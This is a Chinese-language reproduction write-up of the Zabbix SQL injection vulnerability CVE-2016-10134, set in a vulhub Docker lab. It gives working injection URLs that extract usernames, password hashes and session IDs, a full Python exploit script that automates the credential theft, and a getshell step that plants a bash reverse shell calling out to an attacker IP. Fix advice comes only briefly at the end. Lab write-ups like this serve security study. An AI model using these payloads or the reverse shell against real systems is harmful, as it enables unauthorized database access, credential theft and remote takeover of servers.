Zabbix sql注入漏洞复现(CVE-2016-10134)
字数 994 2025-08-15 21:31:15

Zabbix SQL注入漏洞复现与分析 (CVE-2016-10134)

漏洞概述

Zabbix 2.2.x和3.0.0-3.0.3版本存在SQL注入漏洞,攻击者无需授权即可利用此漏洞获取Zabbix管理系统的访问权限,进而可能获取服务器操作系统权限。

环境搭建

靶机环境准备

  1. 启动Docker服务:

    systemctl start docker
    
  2. 下载vulhub漏洞环境:

    git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git
    
  3. 进入漏洞目录并启动容器:

    cd vulhub/zabbix/CVE-2016-10134/
    docker-compose up -d
    
  4. 查看运行中的容器:

    docker ps
    
  5. 重要配置:为后续getshell做准备,需修改zabbix_agentd.conf:

    docker exec -it [CONTAINER_ID] /bin/sh
    vi /etc/zabbix/zabbix_agentd.conf
    

    添加配置项:

    EnableRemoteCommands = 1
    

    保存后重启容器:

    docker restart [CONTAINER_ID]
    

漏洞复现步骤

1. 初始访问

访问Zabbix Web界面:

http://[靶机IP]:8080

使用默认guest账户登录(用户名为guest,密码为空)

2. SQL注入验证

方法一:通过latest.php

  1. 登录后查看Cookie中的zbx_sessionid,复制后16位字符作为sid
  2. 构造注入URL:
    http://[靶机IP]:8080/latest.php?output=ajax&sid=[sid]&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
    
    成功注入会返回数据库用户信息

方法二:通过jsrpc.php(无需登录)

  1. 验证漏洞存在:

    http://[靶机IP]:8080/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%273297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
    

    返回包含"SQL syntax error"表示漏洞存在

  2. 获取用户名:

    http://[靶机IP]:8080/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
    
  3. 获取密码hash:

    http://[靶机IP]:8080/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
    
  4. 获取sessionid:

    http://[靶机IP]:8080/jsrpc.php?id=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
    

3. 自动化利用脚本

使用提供的Python脚本自动化获取凭据:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Modified by: Jamin Zhang

import urllib2
import sys, os
import re

def deteck_Sql():
    u'检查是否存在 SQL 注入'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
            return True

def sql_Inject(sql):
    u'获取特定sql语句内容'
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        result_reg = re.compile(r"Duplicate\s*entry\s*1")
        results = result_reg.findall(response)
        if results:
            return results[0]

if __name__ == '__main__':
    print '+' * 60
    print u'\t Python Zabbix < 3.0.4 SQL 注入 Exploit'
    print '\t Origin Author: http://www.waitalone.cn/'
    print '\t\t Modified by: Jamin Zhang'
    print '+' * 60
    
    if len(sys.argv) != 2:
        print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'
        print u'实例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'
        sys.exit()
    
    url = sys.argv[1]
    if url[-1] != '/':
        url += '/'
    
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    
    if deteck_Sql():
        print u'Zabbix 存在 SQL 注入漏洞!\n'
        print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)
        print u'管理员 Session_id:%s' % sql_Inject(session_sql)
    else:
        print u'Zabbix 不存在 SQL 注入漏洞!\n'

运行脚本:

python zabbix_sql.py http://[靶机IP]:8080

4. 获取管理员权限

  1. 使用获取的用户名和密码直接登录
  2. 或使用Burp抓包,替换sessionid后刷新页面

5. 获取系统权限(Getshell)

  1. 进入Administration → Scripts

  2. 创建新script:

    • 名称:任意
    • 类型:Script
    • 命令:bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1 (反弹shell)
      或简单命令如env测试
  3. 执行脚本:

    • 进入Monitoring → Latest data
    • 选择Host groups → 全选 → Filter
    • 右键Zabbix server → 选择创建的script执行

漏洞修复建议

  1. 升级到Zabbix 3.0.4或更高版本
  2. 禁用guest账户或设置强密码
  3. 限制Zabbix Web界面的访问权限
  4. 禁用不必要的远程命令执行功能(设置EnableRemoteCommands = 0)

参考资源

  1. Vulhub Zabbix CVE-2016-10134
  2. Zabbix SQL注入漏洞分析
  3. 先知社区-Zabbix漏洞利用
Zabbix SQL注入漏洞复现与分析 (CVE-2016-10134) 漏洞概述 Zabbix 2.2.x和3.0.0-3.0.3版本存在SQL注入漏洞,攻击者无需授权即可利用此漏洞获取Zabbix管理系统的访问权限,进而可能获取服务器操作系统权限。 环境搭建 靶机环境准备 启动Docker服务: 下载vulhub漏洞环境: 进入漏洞目录并启动容器: 查看运行中的容器: 重要配置 :为后续getshell做准备,需修改zabbix_ agentd.conf: 添加配置项: 保存后重启容器: 漏洞复现步骤 1. 初始访问 访问Zabbix Web界面: 使用默认guest账户登录(用户名为guest,密码为空) 2. SQL注入验证 方法一:通过latest.php 登录后查看Cookie中的zbx_ sessionid,复制后16位字符作为sid 构造注入URL: 成功注入会返回数据库用户信息 方法二:通过jsrpc.php(无需登录) 验证漏洞存在: 返回包含"SQL syntax error"表示漏洞存在 获取用户名: 获取密码hash: 获取sessionid: 3. 自动化利用脚本 使用提供的Python脚本自动化获取凭据: 运行脚本: 4. 获取管理员权限 使用获取的用户名和密码直接登录 或使用Burp抓包,替换sessionid后刷新页面 5. 获取系统权限(Getshell) 进入Administration → Scripts 创建新script: 名称:任意 类型:Script 命令: bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1 (反弹shell) 或简单命令如 env 测试 执行脚本: 进入Monitoring → Latest data 选择Host groups → 全选 → Filter 右键Zabbix server → 选择创建的script执行 漏洞修复建议 升级到Zabbix 3.0.4或更高版本 禁用guest账户或设置强密码 限制Zabbix Web界面的访问权限 禁用不必要的远程命令执行功能(设置EnableRemoteCommands = 0) 参考资源 Vulhub Zabbix CVE-2016-10134 Zabbix SQL注入漏洞分析 先知社区-Zabbix漏洞利用